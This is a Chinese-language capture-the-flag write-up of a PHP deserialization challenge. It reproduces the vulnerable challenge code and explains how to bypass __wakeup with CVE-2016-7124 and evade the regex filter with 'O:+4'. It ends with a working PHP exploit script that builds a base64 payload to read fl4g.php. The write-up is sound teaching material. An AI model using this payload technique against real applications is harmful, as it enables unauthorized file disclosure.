看题目,应该是php反序列化
首先看下代码
<?phpclass Demo {private $file = 'index.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php$this->file = 'index.php';}}}if (isset($_GET['var'])) {$var = base64_decode($_GET['var']);if (preg_match('/[oc]:\d+:/i', $var)) {die('stop hacking!');} else {@unserialize($var);}} else {highlight_file("index.php");}?>
关键点有四处,
__construct方法在对象创建时调用,覆盖私有变量$file__destruct方法在对象被销毁时自动调用,此段代码中会将$this->file的内容高亮显示。__wakeup方法在unserialize()时被调用,会覆盖$file为index.phppreg_match('/[oc]:\d+:/i', $var)正则匹配传入的$var的内容,开头是o或c、匹配一个或多个数字、不区分大小写。
首先是利用__construct将$file覆盖为fl4g.php,new对象时传入参数即可,然后使用CVE-2016-7124绕过__wakeup方法,最后,再利用序列化的一个小特性:
O:+4:"test":1:{s:1:"a";s:3:"aaa";}O:4:"test":1:{s:1:"a";s:3:"aaa";}
这两个都可以被序列化成功,并且结果相同。
exploit:
<?phpclass Demo {private $file = 'index.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php$this->file = 'index.php';}}}$a= new Demo('fl4g.php');$b=serialize($a);$b=str_replace('O:4','O:+4',$b);$b=str_replace('1:{','2:{',$b);echo base64_encode($b);?>
之所以要在php中完成替换,base64编码等操作,是因为$file是私有变量,在序列化后两边会加上%00,如果直接拿去网页base64编码会丢失,所以直接一起弄了。
